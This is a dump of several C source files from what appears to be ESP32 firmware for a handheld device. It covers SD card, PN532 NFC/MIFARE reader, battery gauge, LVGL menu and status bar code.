#include "sd.h" 16 | #include "userinputs.h" 17 | #include "wifi.h" 18 | 19 | static const char *TAG = "KlausFirmware"; 20 | 21 | SemaphoreHandle_t i2c_lock = NULL; 22 | klaus_config_t klaus_config; 23 | 24 | static esp_err_t i2c_init(void) { 25 | i2c_config_t conf = {}; 26 | conf.mode = I2C_MODE_MASTER; 27 | conf.sda_io_num = SDA_PIN; 28 | conf.sda_pullup_en = GPIO_PULLUP_ENABLE; 29 | conf.scl_io_num = SCL_PIN; 30 | conf.scl_pullup_en = GPIO_PULLUP_ENABLE; 31 | conf.master.clk_speed = I2C_FREQ; 32 | esp_err_t result = i2c_param_config(I2C_PORT_NUM, &conf); 33 | if (result != ESP_OK) { 34 | ESP_LOGE(TAG, "%s: Cannot configure i2c: %s", __func__, 35 | esp_err_to_name(result)); 36 | return result; 37 | } 38 | result = i2c_driver_install(I2C_PORT_NUM, conf.mode, 0, 0, 0); 39 | if (result != ESP_OK) { 40 | ESP_LOGE(TAG, "%s: Cannot install i2c driver: %s", __func__, 41 | esp_err_to_name(result)); 42 | return result; 43 | } 44 | i2c_lock = xSemaphoreCreateBinary(); 45 | xSemaphoreGive(i2c_lock); 46 | return ESP_OK; 47 | } 48 | 49 | static esp_err_t spi_init(void) { 50 | const spi_bus_config_t spi_bus_cfg = { 51 | .mosi_io_num = SPI_MOSI, 52 | .miso_io_num = SPI_MIS0, 53 | .sclk_io_num = SPI_CLK, 54 | .quadwp_io_num = GPIO_NUM_NC, 55 | .quadhd_io_num = GPIO_NUM_NC, 56 | .max_transfer_sz = 0, 57 | }; 58 | ESP_RETURN_ON_ERROR( 59 | spi_bus_initialize(SPI_NUM, &spi_bus_cfg, SPI_DMA_CH_AUTO), TAG, 60 | "Initialize SPI bus failed"); 61 | return ESP_OK; 62 | } 63 | 64 | void app_main(void) { 65 | 66 | ESP_LOGI(TAG, "Restart reason:%d", esp_reset_reason()); 67 | // Power LEDs and CC1101 68 | gpio_set_direction(POWER_SWITCH, GPIO_MODE_OUTPUT); 69 | gpio_set_level(POWER_SWITCH, 1); 70 | 71 | if (userinputs_init(KEY_BTN, KNOB_BTN, KNOB_A, KNOB_B) != ESP_OK) { 72 | ESP_LOGE(TAG, "%s: Cannot initialize user inputs", __func__); 73 | esp_restart(); 74 | } 75 | 76 | if (i2c_init() != ESP_OK) { 77 | ESP_LOGE(TAG, "%s: Cannot initialize I2C", __func__); 78 | esp_restart(); 79 | } 80 | pn532_i2c_init(I2C_PORT_NUM, PN532_IRQ, PN532_RESET, i2c_lock); 81 | battery_init(I2C_PORT_NUM, i2c_lock); 82 | 83 | if (spi_init() != ESP_OK) { 84 | ESP_LOGE(TAG, "%s: Cannot initialize SPI", __func__); 85 | esp_restart(); 86 | } 87 | 88 | if (display_init(SPI_NUM, LCD_CS, LCD_DC, LCD_RST, LCD_BACKLIGHT) != ESP_OK) { 89 | ESP_LOGE(TAG, "%s: Cannot initialize display", __func__); 90 | esp_restart(); 91 | } 92 | 93 | if (gui_init() != ESP_OK) { 94 | ESP_LOGE(TAG, "%s: Cannot start GUI", __func__); 95 | esp_restart(); 96 | } 97 | display_backlight_on(); 98 | 99 | if (sd_init(SPI_NUM, SD_CS) != ESP_OK) { 100 | ESP_LOGE(TAG, "%s: Cannot initialise TF Card", __func__); 101 | } 102 | 103 | if (sd_is_present()) { 104 | config_parse_config(&klaus_config); 105 | display_blacklight_set_default_intensity(klaus_config.backlight); 106 | wifi_connect(klaus_config.ssid, klaus_config.pass, klaus_config.hostname); 107 | clock_set(klaus_config.timezone); 108 | } 109 | } 110 | -------------------------------------------------------------------------------- /components/sd/sd.c: -------------------------------------------------------------------------------- 1 | #include "sd.h" 2 | #include 3 | static const char *TAG = "SD"; 4 | 5 | static char *error_msg = "SD Error"; 6 | 7 | static sdmmc_card_t *card; 8 | static bool sd_present = false; 9 | 10 | esp_err_t sd_init(spi_host_device_t spi_host, gpio_num_t cs) { 11 | sdspi_device_config_t sd_device = SDSPI_DEVICE_CONFIG_DEFAULT(); 12 | sd_device.gpio_cs = cs; 13 | sd_device.host_id = spi_host; 14 | 15 | sdspi_dev_handle_t sd_handle; 16 | sdspi_host_init_device(&sd_device, &sd_handle); 17 | 18 | sdmmc_host_t sd_host = SDSPI_HOST_DEFAULT(); 19 | sd_host.slot = sd_handle; 20 | 21 | esp_vfs_fat_sdmmc_mount_config_t mount_config = {.format_if_mount_failed = 22 | true, 23 | .max_files = 5, 24 | .allocation_unit_size = 0}; 25 | 26 | ESP_LOGI(TAG, "Mounting filesystem"); 27 | esp_err_t ret = esp_vfs_fat_sdspi_mount(MOUNT_POINT, &sd_host, &sd_device, 28 | &mount_config, &card); 29 | if (ret != ESP_OK) { 30 | ESP_LOGE(TAG, "Failed to mount filesystem. Error: %s\n", 31 | esp_err_to_name(ret)); 32 | return ret; 33 | } 34 | sdmmc_card_print_info(stdout, card); 35 | sd_present = true; 36 | sd_ls(MOUNT_POINT); 37 | 38 | return ESP_OK; 39 | } 40 | 41 | void sd_ls(const char *path) { 42 | struct dirent *dp; 43 | DIR *dfd = opendir(path); 44 | if (dfd != NULL) { 45 | printf("\n%s:\n", path); 46 | while ((dp = readdir(dfd)) != NULL) 47 | printf("%s\n", dp->d_name); 48 | closedir(dfd); 49 | printf("\n"); 50 | } 51 | } 52 | 53 | esp_err_t sd_write_file(const char *filename, char *data) { 54 | char toOpen[MAX_PATH_SIZE]; 55 | sprintf(toOpen, "%s/%s", MOUNT_POINT, filename); 56 | ESP_LOGI(TAG, "Opening file to write: %s", filename); 57 | FILE *f = fopen(toOpen, "w"); 58 | if (f == NULL) { 59 | ESP_LOGE(TAG, "Failed to open file:%s for writing", filename); 60 | fclose(f); 61 | return ESP_FAIL; 62 | } 63 | fprintf(f, data); 64 | fclose(f); 65 | ESP_LOGI(TAG, "File written"); 66 | return ESP_OK; 67 | } 68 | 69 | char *sd_get_file_content(const char *filename) { 70 | FILE *file = NULL; 71 | long length = 0; 72 | char *content = NULL; 73 | size_t read_chars = 0; 74 | 75 | char toOpen[MAX_PATH_SIZE]; 76 | sprintf(toOpen, "%s/%s", MOUNT_POINT, filename); 77 | ESP_LOGI(TAG, "Opening file to read: %s", toOpen); 78 | file = fopen(toOpen, "rb"); 79 | if (file == NULL) { 80 | ESP_LOGE(TAG, "Failed to open file:%s for reading", filename); 81 | fclose(file); 82 | return error_msg; 83 | } 84 | if (fseek(file, 0, SEEK_END) != 0) { 85 | ESP_LOGE(TAG, "Failed to seek (SEEK_END) file:%s", filename); 86 | fclose(file); 87 | return error_msg; 88 | } 89 | length = ftell(file); 90 | if (length < 0) { 91 | ESP_LOGE(TAG, "Failed to tell (length<0) file:%s", filename); 92 | fclose(file); 93 | return error_msg; 94 | } 95 | if (fseek(file, 0, SEEK_SET) != 0) { 96 | ESP_LOGE(TAG, "Failed to seek (SEEK_SET) file:%s", filename); 97 | fclose(file); 98 | return error_msg; 99 | } 100 | /* allocate content buffer */ 101 | content = (char *)malloc((size_t)length + sizeof("")); 102 | if (content == NULL) { 103 | ESP_LOGE(TAG, "Failed to allocate content file:%s", filename); 104 | fclose(file); 105 | return error_msg; 106 | } 107 | /* read the file into memory */ 108 | read_chars = fread(content, sizeof(char), (size_t)length, file); 109 | if ((long)read_chars != length) { 110 | free(content); 111 | content = NULL; 112 | fclose(file); 113 | } 114 | content[read_chars] = '\0'; 115 | ESP_LOGI(TAG, "File length: %ldContent:%s\n", length, content); 116 | return content; 117 | } 118 | 119 | bool sd_is_present(void) { return sd_present; } -------------------------------------------------------------------------------- /components/pn532/pn532.h: -------------------------------------------------------------------------------- 1 | /* 2 | * 3 | * https://github.com/adafruit/Adafruit-PN532 4 | * 5 | * https://github.com/zonque/pn532-espidf 6 | * 7 | * https://www.nxp.com/docs/en/user-guide/141520.pdf 8 | * 9 | */ 10 | 11 | #pragma once 12 | 13 | #include "driver/gpio.h" 14 | #include "driver/i2c.h" 15 | #include 16 | 17 | #define PN532_PACKBUFFSIZ 64 18 | 19 | #define PN532_MIFARE_ISO14443A (0x00) // MiFare 20 | #define PN532_FELICA_212 (0x01) // Felica 212kbps baudrate 21 | #define PN532_FELICA_424 (0x02) // Felica 424kbps baudrate 22 | #define PN532_ISO14443_3B (0x03) // 106kbps type B 23 | #define PN532_INNOVISION_JEWEL (0x04) // 106kbps Innovision Jewel Tag 24 | 25 | #define PN532_UID_MAX_SIZE 10 26 | #define PN532_UID_4 4 27 | #define PN532_UID_7 7 28 | #define PN532_UID_10 10 29 | 30 | #define PN532_MAX_CTRLED_TAGS 2 31 | 32 | #define MIFARE1K_SECTORS 16 33 | #define MFC_BLOCK_BY_SECTOR 4 34 | #define MFC_BLOCK_SIZE 16 35 | 36 | #define MFC_KEY_SIZE 6 37 | 38 | typedef enum { 39 | TYPE_UNKNOWN, 40 | TYPE_NOT_COMPLETE, 41 | TYPE_MIFARE_MINI, 42 | TYPE_MIFARE_1K, 43 | TYPE_MIFARE_4K, 44 | TYPE_MIFARE_UL, 45 | TYPE_MIFARE_PLUS, 46 | TYPE_TNP3XXX, 47 | TYPE_ISO_14443_4, 48 | TYPE_ISO_18092, 49 | TYPE_SIZE 50 | } pn532_type_t; 51 | 52 | typedef struct { 53 | uint16_t ATQA; 54 | uint8_t SAK; 55 | uint8_t uid_length; 56 | uint8_t uid[PN532_UID_MAX_SIZE]; 57 | } pn532_record_t; 58 | 59 | /* General Status 60 | * https://www.nxp.com/docs/en/user-guide/141520.pdf page 74 61 | */ 62 | 63 | typedef struct { 64 | uint8_t tag_index; 65 | uint8_t rx_bitrate; 66 | uint8_t tx_bitrate; 67 | uint8_t modulation_type; 68 | } pn532_tag_status_t; 69 | 70 | typedef struct { 71 | uint8_t last_error; 72 | uint8_t field_present; 73 | uint8_t nb_tags; // number of tags currently controlled 74 | pn532_tag_status_t tag_status[PN532_MAX_CTRLED_TAGS]; 75 | uint8_t SAM_status; 76 | } pn532_general_status_t; 77 | 78 | /* SAM Config 79 | * https://www.nxp.com/docs/en/user-guide/141520.pdf page 89 80 | */ 81 | 82 | typedef enum { 83 | SAM_NORMAL_MODE = 0x01, 84 | SAM_VIRTUAL_CARD = 0x02, 85 | SAM_WIRED_CARD = 0x03, 86 | SAM_DUAL_CARD = 0x04, 87 | } pn532_SAM_mode_t; 88 | 89 | typedef void (*pn532_callback)(const pn532_record_t *record); 90 | 91 | void pn532_i2c_init(i2c_port_t _i2c_port, gpio_port_t irq, gpio_port_t reset, 92 | SemaphoreHandle_t i2c_lock); 93 | 94 | // Command 0x00 Diagnose 95 | /* TBD */ 96 | 97 | // Command 0x02 GetFirmwareVersion 98 | uint32_t pn532_get_firmware_version(void); 99 | 100 | // Command 0x04 GetGeneralStatus 101 | const pn532_general_status_t *pn532_get_general_status(void); 102 | 103 | // Command 0x06 ReadRegister 104 | /* TBD */ 105 | 106 | // Command 0x08 WriteRegister 107 | /* TBD */ 108 | 109 | // Command 0x0C ReadGPIO 110 | /* TBD */ 111 | 112 | // Command 0x0E WriteGPIO 113 | /* TBD */ 114 | 115 | // Command 0x10 SetSerialBaudrate 116 | /* TBD */ 117 | 118 | // Command 0x12 SetParameters 119 | /* TBD */ 120 | 121 | // Command 0x14 SAMConfiguration 122 | /// @brief Set the SAM config 123 | /// @param mode SAM mode 124 | /// @param timeout value = timeout*50ms 0 = infinite timeout 125 | /// @param irq Use IRQ pin or not 126 | /// @return ESP_OK if OK ESP_FAIL instead 127 | esp_err_t pn532_SAM_config(pn532_SAM_mode_t mode, uint8_t timeout, bool irq); 128 | 129 | esp_err_t pn532_set_passive_activation_retries(uint8_t max_retries); 130 | 131 | void pn532_background_read_passive_targetID(uint8_t cardbaudrate, 132 | uint16_t timeout, 133 | pn532_callback callback); 134 | esp_err_t pn532_send_command_check_ack(uint8_t *cmd, size_t cmd_lenght, 135 | uint16_t timeout); 136 | 137 | esp_err_t pn532_mfc_authenticate_block(uint8_t *uid, uint8_t uidLen, 138 | uint32_t blockNumber, uint8_t keyNumber, 139 | const uint8_t *keyData); 140 | esp_err_t pn532_mfc_read_data_block(uint8_t blockNumber, uint8_t *data); 141 | 142 | void pn532_cancel_read_task(void); 143 | const pn532_record_t *pn532_get_last_record(void); 144 | void pn532_get_last_uid_string(char *buffer); 145 | 146 | pn532_type_t pn532_get_type(const pn532_record_t *record); 147 | pn532_type_t pn532_get_last_type(void); 148 | void pn532_get_type_string(const pn532_record_t *record, char *buffer); 149 | void pn532_get_last_type_string(char *buffer); -------------------------------------------------------------------------------- /components/gui/views/main_menu_view.c: -------------------------------------------------------------------------------- 1 | #include "main_menu_view.h" 2 | #include "wifi_menu_view.h" 3 | #include "splash_view.h" 4 | #include "tools_view.h" 5 | #include "rfid_menu_view.h" 6 | 7 | static view_handler_t *calling_view; 8 | 9 | static lv_obj_t *main_menu_view; 10 | static view_handler_t main_menu_view_handler; 11 | 12 | typedef enum 13 | { 14 | MAIN_MENU_WIFI, 15 | MAIN_MENU_RFID, 16 | MAIN_MENU_TOOLS, 17 | 18 | MAIN_MENU_SIZE 19 | } main_menu_items_t; 20 | 21 | static main_menu_items_t current_item; 22 | 23 | static lv_obj_t *current_item_label; 24 | 25 | // Menu images 26 | LV_IMG_DECLARE(wifi_107x85); 27 | LV_IMG_DECLARE(rfid_85); 28 | LV_IMG_DECLARE(tools_85); 29 | static lv_obj_t *main_menu_image; 30 | static const void *image_list[MAIN_MENU_SIZE] = { 31 | &wifi_107x85, &rfid_85, &tools_85}; 32 | 33 | static const char *main_menu_texts[MAIN_MENU_SIZE] = { 34 | "WIFI", "RFID", "TOOLS"}; 35 | 36 | static void main_menu_input_handler(user_actions_t user_action) 37 | { 38 | switch (user_action) 39 | { 40 | case KEY_CLICK_SHORT: 41 | splash_view_get_handler()->draw_view(main_menu_view_get_handler()); 42 | break; 43 | 44 | case WHEEL_UP: 45 | current_item++; 46 | if (current_item >= MAIN_MENU_SIZE) 47 | { 48 | current_item = 0; 49 | } 50 | lvgl_port_lock(0); 51 | lv_label_set_text(current_item_label, main_menu_texts[current_item]); 52 | lv_image_set_src(main_menu_image, image_list[current_item]); 53 | lvgl_port_unlock(); 54 | break; 55 | 56 | case WHEEL_DOWN: 57 | if (current_item > 0) 58 | { 59 | current_item--; 60 | } 61 | else 62 | { 63 | current_item = MAIN_MENU_SIZE - 1; 64 | } 65 | lvgl_port_lock(0); 66 | lv_label_set_text(current_item_label, main_menu_texts[current_item]); 67 | lv_image_set_src(main_menu_image, image_list[current_item]); 68 | lvgl_port_unlock(); 69 | break; 70 | 71 | case WHEEL_CLICK_SHORT: 72 | if (current_item == MAIN_MENU_WIFI) 73 | { 74 | wifi_menu_view_get_handler()->draw_view(get_current_view_handler()); 75 | } 76 | else if (current_item == MAIN_MENU_RFID) 77 | { 78 | rfid_menu_view_get_handler()->draw_view(get_current_view_handler()); 79 | } 80 | else if (current_item == MAIN_MENU_TOOLS) 81 | { 82 | tools_view_get_handler()->draw_view(get_current_view_handler()); 83 | } 84 | 85 | default: 86 | break; 87 | } 88 | } 89 | 90 | static void main_menu_view_clear() 91 | { 92 | lvgl_port_lock(0); 93 | lv_obj_clean(main_menu_view); 94 | lvgl_port_unlock(); 95 | } 96 | 97 | static void main_menu_view_draw(view_handler_t *_calling_view) 98 | { 99 | calling_view = _calling_view; 100 | if (calling_view != main_menu_view_get_handler()) 101 | { 102 | calling_view->clear_view(); 103 | } 104 | set_current_view_handler(main_menu_view_get_handler()); 105 | lvgl_port_lock(0); 106 | main_menu_view = lv_obj_create(lv_screen_active()); 107 | lv_obj_set_size(main_menu_view, MAIN_SCREEN_WIDTH, MAIN_SCREEN_HEIGHT); 108 | lv_obj_align(main_menu_view, LV_ALIGN_TOP_LEFT, 0, 20); 109 | lv_obj_add_style(main_menu_view, style_get_background_main(), LV_PART_MAIN); 110 | 111 | main_menu_image = lv_image_create(main_menu_view); 112 | lv_image_set_src(main_menu_image, image_list[current_item]); 113 | lv_obj_align(main_menu_image, LV_ALIGN_CENTER, 0, -15); 114 | 115 | current_item_label = lv_label_create(main_menu_view); 116 | lv_label_set_text(current_item_label, main_menu_texts[current_item]); 117 | lv_obj_align(current_item_label, LV_ALIGN_CENTER, 0, 50); 118 | lv_obj_add_style(current_item_label, style_get_font_bigfont(), LV_PART_MAIN); 119 | 120 | lvgl_port_unlock(); 121 | } 122 | 123 | void main_menu_view_init(void) 124 | { 125 | main_menu_view_handler.obj_view = main_menu_view; 126 | main_menu_view_handler.input_callback = main_menu_input_handler; 127 | main_menu_view_handler.draw_view = main_menu_view_draw; 128 | main_menu_view_handler.clear_view = main_menu_view_clear; 129 | current_item = MAIN_MENU_WIFI; 130 | wifi_menu_view_init(); 131 | rfid_menu_view_init(); 132 | tools_view_init(); 133 | } 134 | 135 | view_handler_t *main_menu_view_get_handler(void) 136 | { 137 | return &main_menu_view_handler; 138 | } 139 | -------------------------------------------------------------------------------- /components/bq27220/bq27220.c: -------------------------------------------------------------------------------- 1 | #include "bq27220.h" 2 | 3 | static const char *TAG = "bq27220"; 4 | 5 | static union battery_state bat_st; 6 | static i2c_port_t i2c_port = -1; 7 | static SemaphoreHandle_t i2c_lock = NULL; 8 | 9 | // Write a specified number of bytes over I2C to a given subAddress 10 | static esp_err_t bq27220_I2cWriteBytes(uint8_t subAddress, uint8_t *src, 11 | uint8_t count) { 12 | // We write data incrementally 13 | // According to the datasheet this is only ok for f_scl up to 100khz 14 | // 66us idle time is required between commands 15 | // this seems to be built in and there are no communication problems 16 | // if needed in future could use eta_delay_us to busy wait for 66us 17 | if (i2c_port == -1) { 18 | return ESP_FAIL; 19 | } 20 | 21 | while (xSemaphoreTake(i2c_lock, portMAX_DELAY) != pdPASS) { 22 | ESP_LOGI(TAG, "Write cannot take the lock"); 23 | return ESP_FAIL; 24 | } 25 | 26 | i2c_cmd_handle_t cmd = i2c_cmd_link_create(); 27 | i2c_master_start(cmd); 28 | i2c_master_write_byte(cmd, (bq27220_ADDR << 1) | I2C_MASTER_WRITE, 0x1); 29 | i2c_master_write_byte(cmd, subAddress, 0x1); 30 | for (int i = 0; i < count; i++) { 31 | i2c_master_write_byte(cmd, src[i], 0x1); 32 | } 33 | i2c_master_stop(cmd); 34 | esp_err_t ret = 35 | i2c_master_cmd_begin(i2c_port, cmd, 1000 / portTICK_PERIOD_MS); 36 | i2c_cmd_link_delete(cmd); 37 | xSemaphoreGive(i2c_lock); 38 | return ret; 39 | } 40 | 41 | static esp_err_t bq27220_I2cReadBytes(uint8_t subAddress, uint8_t *dest, 42 | uint8_t count) { 43 | if (i2c_port == -1) { 44 | return ESP_FAIL; 45 | } 46 | 47 | while (xSemaphoreTake(i2c_lock, portMAX_DELAY) != pdPASS) { 48 | ESP_LOGI(TAG, "Read cannot take the lock"); 49 | return ESP_FAIL; 50 | } 51 | 52 | i2c_cmd_handle_t cmd = i2c_cmd_link_create(); 53 | i2c_master_start(cmd); 54 | i2c_master_write_byte(cmd, (bq27220_ADDR << 1) | I2C_MASTER_WRITE, 0x01); 55 | i2c_master_write_byte(cmd, subAddress, 0x01); 56 | i2c_master_start(cmd); 57 | i2c_master_write_byte(cmd, (bq27220_ADDR << 1) | I2C_MASTER_READ, 0x01); 58 | if (count > 1) { 59 | i2c_master_read(cmd, dest, count - 1, 0x0); 60 | } 61 | i2c_master_read_byte(cmd, dest + count - 1, 0X1); 62 | i2c_master_stop(cmd); 63 | 64 | esp_err_t ret = i2c_master_cmd_begin(i2c_port, cmd, 200 / portTICK_PERIOD_MS); 65 | i2c_cmd_link_delete(cmd); 66 | xSemaphoreGive(i2c_lock); 67 | 68 | return ret; 69 | } 70 | 71 | // Read a 16-bit command word from the bq27220_-G1A 72 | static uint16_t bq27220_ReadWord(uint16_t subAddress) { 73 | uint8_t data[2]; 74 | bq27220_I2cReadBytes(subAddress, data, 2); 75 | return ((uint16_t)data[1] << 8) | data[0]; 76 | } 77 | 78 | static uint16_t bq27220_ReadControlWord(uint16_t function) { 79 | uint8_t subCommandMSB = (function >> 8); 80 | uint8_t subCommandLSB = (function & 0x00FF); 81 | uint8_t command[2] = {subCommandLSB, subCommandMSB}; 82 | uint8_t data[2] = {0, 0}; 83 | 84 | bq27220_I2cWriteBytes((uint8_t)0, command, 2); 85 | 86 | if (bq27220_I2cReadBytes((uint8_t)0, data, 2)) { 87 | return ((uint16_t)data[1] << 8) | data[0]; 88 | } 89 | 90 | return false; 91 | } 92 | 93 | esp_err_t bq27220_init(i2c_port_t _i2c_port, SemaphoreHandle_t _i2c_lock) { 94 | i2c_lock = _i2c_lock; 95 | i2c_port = _i2c_port; 96 | return i2c_set_timeout(i2c_port, 0x1f); 97 | } 98 | 99 | uint16_t bq27220_get_voltage(bq27220_voltage_mode_t mode) { 100 | switch (mode) { 101 | case VOLT: 102 | return bq27220_ReadWord(BQ27220_COMMAND_VOLT); 103 | break; 104 | 105 | case VOLT_CHARGING: 106 | return bq27220_ReadWord(BQ27220_COMMAND_CHARGING_VOLT); 107 | break; 108 | 109 | case VOLT_RAW: 110 | return bq27220_ReadWord(BQ27220_COMMAND_RAW_VOLT); 111 | break; 112 | 113 | default: 114 | break; 115 | } 116 | return 0xFFFF; 117 | } 118 | 119 | uint16_t bq27220_get_current(bq27220_current_mode_t mode) { 120 | switch (mode) { 121 | case CURRENT_RAW: 122 | return bq27220_ReadWord(BQ27220_COMMAND_RAW_CURR); 123 | break; 124 | 125 | case CURRENT_INSTANT: 126 | return bq27220_ReadWord(BQ27220_COMMAND_CURR); 127 | break; 128 | 129 | case CURRENT_STANDBY: 130 | return bq27220_ReadWord(BQ27220_COMMAND_STANDBY_CURR); 131 | break; 132 | 133 | case CURRENT_CHARGING: 134 | return bq27220_ReadWord(BQ27220_COMMAND_CHARGING_CURR); 135 | break; 136 | 137 | case CURRENT_AVERAGE: 138 | return bq27220_ReadWord(BQ27220_COMMAND_AVG_CURR); 139 | break; 140 | 141 | default: 142 | break; 143 | } 144 | return 0xFFFF; 145 | } 146 | 147 | uint16_t bq27220_get_battery_state() { 148 | return bq27220_ReadWord(BQ27220_COMMAND_BAT_STA); 149 | } 150 | 151 | bool bq27220_get_is_charging() { 152 | uint16_t ret = bq27220_ReadWord(BQ27220_COMMAND_BAT_STA); 153 | bat_st.full = ret; 154 | return !bat_st.st.DSG; 155 | } 156 | 157 | float bq27220_get_temperature() { 158 | return ((float)(bq27220_ReadWord(BQ27220_COMMAND_TEMP) / 10) - 273.15); 159 | } 160 | 161 | uint16_t bq27220_get_remaining_capacity() { 162 | return bq27220_ReadWord(BQ27220_COMMAND_REMAIN_CAPACITY); 163 | } 164 | 165 | uint16_t bq27220_get_full_charge_capacity() { 166 | return bq27220_ReadWord(BQ27220_COMMAND_FCHG_CAPATICY); 167 | } 168 | 169 | uint16_t bq27220_get_state_of_charge() { 170 | return bq27220_ReadWord(BQ27220_COMMAND_STATE_CHARGE); 171 | } 172 | 173 | uint16_t bq27220_get_device_id(void) { return bq27220_ReadControlWord(0x01); } 174 | -------------------------------------------------------------------------------- /components/gui/views/status_bar.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | // LVGL 4 | #include "esp_lvgl_port.h" 5 | 6 | #include "view_commons.h" 7 | #include "style.h" 8 | #include "display.h" 9 | #include "clock.h" 10 | #include "sd.h" 11 | #include "wifi.h" 12 | #include "battery.h" 13 | 14 | #define STATUS_BAR_HEIGHT (20) 15 | #define STATUS_BAR_WIDTH (320) 16 | 17 | #define BATTERY_BAR_REFRESH_RATE 3000 18 | #define SD_LOGO_REFRESH_RATE 5000 19 | #define WIFI_LOGO_REFRESH_RATE 500 20 | #define CLOCK_REFRESH_RATE 300 21 | 22 | // LVGL images declaration 23 | LV_IMG_DECLARE(battery_15); 24 | LV_IMG_DECLARE(sd_15); 25 | LV_IMG_DECLARE(charge_15); 26 | LV_IMG_DECLARE(wifi_nok_15); 27 | LV_IMG_DECLARE(wifi_ok_15); 28 | 29 | // Battery 30 | lv_obj_t *battery_logo = NULL; 31 | lv_obj_t *battery_bar = NULL; 32 | //lv_obj_t *battery_label = NULL; 33 | 34 | // SD 35 | lv_obj_t *sd_logo = NULL; 36 | 37 | // Wifi 38 | lv_obj_t *wifi_bar = NULL; 39 | lv_obj_t *wifi_logo = NULL; 40 | 41 | // Time 42 | lv_obj_t *time_label = NULL; 43 | 44 | // Status bar 45 | lv_obj_t *status_bar; 46 | 47 | static void batteryTask(void *pvParameters) 48 | { 49 | while (1) 50 | { 51 | uint16_t battery_value = battery_get_percent(); 52 | lvgl_port_lock(0); 53 | lv_bar_set_value(battery_bar, battery_value, LV_ANIM_OFF); 54 | //lv_label_set_text_fmt(battery_label, "%d%%", battery_value); 55 | if (battery_get_charging_state()) 56 | { 57 | lv_image_set_src(battery_logo, &charge_15); 58 | } 59 | else 60 | { 61 | lv_image_set_src(battery_logo, &battery_15); 62 | } 63 | lvgl_port_unlock(); 64 | vTaskDelay(BATTERY_BAR_REFRESH_RATE / portTICK_PERIOD_MS); 65 | } 66 | } 67 | 68 | static void sdTask(void *pvParam) 69 | { 70 | while (1) 71 | { 72 | lvgl_port_lock(0); 73 | if (sd_is_present()) 74 | { 75 | lv_obj_remove_flag(sd_logo, LV_OBJ_FLAG_HIDDEN); 76 | } 77 | else 78 | { 79 | lv_obj_add_flag(sd_logo, LV_OBJ_FLAG_HIDDEN); 80 | } 81 | lvgl_port_unlock(); 82 | vTaskDelay(SD_LOGO_REFRESH_RATE / portTICK_PERIOD_MS); 83 | } 84 | } 85 | 86 | static void wifiTask(void *pvParam) 87 | { 88 | while (1) 89 | { 90 | lvgl_port_lock(0); 91 | int rssi = wifi_get_rssi(); 92 | uint8_t quality = 2 * (rssi + 100); 93 | if (wifi_is_connected() && quality != 0) 94 | { 95 | lv_obj_remove_flag(wifi_bar, LV_OBJ_FLAG_HIDDEN); 96 | lv_image_set_src(wifi_logo, &wifi_ok_15); 97 | lv_bar_set_value(wifi_bar, quality, LV_ANIM_OFF); 98 | } 99 | else 100 | { 101 | lv_obj_add_flag(wifi_bar, LV_OBJ_FLAG_HIDDEN); 102 | lv_image_set_src(wifi_logo, &wifi_nok_15); 103 | } 104 | lvgl_port_unlock(); 105 | vTaskDelay(WIFI_LOGO_REFRESH_RATE / portTICK_PERIOD_MS); 106 | } 107 | } 108 | 109 | static void clockTask(void *pvParam) 110 | { 111 | while (1) 112 | { 113 | lvgl_port_lock(0); 114 | lv_label_set_text(time_label, clock_get_time()); 115 | lvgl_port_unlock(); 116 | vTaskDelay(CLOCK_REFRESH_RATE / portTICK_PERIOD_MS); 117 | } 118 | } 119 | 120 | static void status_bar_draw() 121 | { 122 | lvgl_port_lock(0); 123 | status_bar = lv_obj_create(lv_screen_active()); 124 | lv_obj_set_size(status_bar, STATUS_BAR_WIDTH, STATUS_BAR_HEIGHT); 125 | lv_obj_align(status_bar, LV_ALIGN_TOP_LEFT, 0, 0); 126 | 127 | // Set status bar style 128 | lv_obj_add_style(status_bar, style_get_background_status_bar(), LV_PART_MAIN); 129 | 130 | battery_logo = lv_image_create(status_bar); 131 | lv_image_set_src(battery_logo, &battery_15); 132 | lv_obj_align(battery_logo, LV_ALIGN_TOP_LEFT, 0, 2); 133 | 134 | // SD Logo 135 | sd_logo = lv_image_create(status_bar); 136 | lv_image_set_src(sd_logo, &sd_15); 137 | lv_obj_align(sd_logo, LV_ALIGN_TOP_LEFT, 305, 2); 138 | 139 | // Wifi Logo 140 | wifi_logo = lv_image_create(status_bar); 141 | lv_image_set_src(wifi_logo, &wifi_nok_15); 142 | lv_obj_align(wifi_logo, LV_ALIGN_TOP_LEFT, 45, 2); 143 | 144 | // Time Label 145 | time_label = lv_label_create(status_bar); 146 | lv_obj_align(time_label, LV_ALIGN_TOP_MID, 0, 5); 147 | lv_label_set_text(time_label, ""); 148 | 149 | battery_bar = lv_bar_create(status_bar); 150 | lv_obj_remove_style_all(battery_bar); 151 | lv_obj_add_style(battery_bar, style_get_bar_background(), 0); 152 | lv_obj_add_style(battery_bar, style_get_bar_indic(), LV_PART_INDICATOR); 153 | lv_obj_set_size(battery_bar, 25, 10); 154 | lv_obj_align(battery_bar, LV_ALIGN_TOP_LEFT, 15, 5); 155 | lv_bar_set_value(battery_bar, 0, LV_ANIM_OFF); 156 | 157 | // Wifi Bar 158 | wifi_bar = lv_bar_create(status_bar); 159 | lv_obj_remove_style_all(wifi_bar); 160 | lv_obj_add_style(wifi_bar, style_get_bar_background(), 0); 161 | lv_obj_add_style(wifi_bar, style_get_bar_indic(), LV_PART_INDICATOR); 162 | lv_obj_set_size(wifi_bar, 25, 10); 163 | lv_obj_align(wifi_bar, LV_ALIGN_TOP_LEFT, 67, 5); 164 | lv_bar_set_value(wifi_bar, 0, LV_ANIM_OFF); 165 | 166 | lvgl_port_unlock(); 167 | } 168 | 169 | void status_bar_init() 170 | { 171 | status_bar_draw(); 172 | xTaskCreate(batteryTask, "batteryTask", 4096, NULL, 5, NULL); 173 | xTaskCreate(sdTask, "sdTask", 4096, NULL, 5, NULL); 174 | xTaskCreate(wifiTask, "wifiTask", 4096, NULL, 5, NULL); 175 | xTaskCreate(clockTask, "clockTask", 4096, NULL, 5, NULL); 176 | } -------------------------------------------------------------------------------- /components/display/display.c: -------------------------------------------------------------------------------- 1 | #include "display.h" 2 | 3 | static const char *TAG = "Display"; 4 | 5 | // ST7789 LCD 6 | #include "esp_lcd_panel_ops.h" 7 | #include "esp_lcd_panel_vendor.h" 8 | #include "esp_lcd_types.h" 9 | 10 | // PWM backlight 11 | #include "driver/ledc.h" 12 | #include "math.h" 13 | 14 | #define LEDC_TIMER LEDC_TIMER_0 15 | #define LEDC_MODE LEDC_LOW_SPEED_MODE 16 | #define LEDC_CHANNEL LEDC_CHANNEL_0 17 